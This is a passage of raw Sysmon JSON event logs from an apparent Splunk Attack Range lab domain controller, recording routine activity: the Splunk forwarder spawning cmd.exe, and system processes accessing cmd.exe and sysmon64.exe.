AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.355","ProcessGuid":"{90617006-407B-5F2D-0000-001082130500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3197,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.353\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 668\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-001082130500}\r\nTargetProcessId: 1328\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f2b15|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.353","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"668","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-001082130500}","TargetProcessId":"1328","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f2b15|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3198,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-001082130500}\r\nTargetProcessId: 1328\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-001082130500}","TargetProcessId":"1328","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3199,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.353\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.353","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3200,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.353\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.353","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3201,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.353\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.353","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3202,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.353\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.353","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3203,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.353\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.353","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3204,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.353\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.353","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3205,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 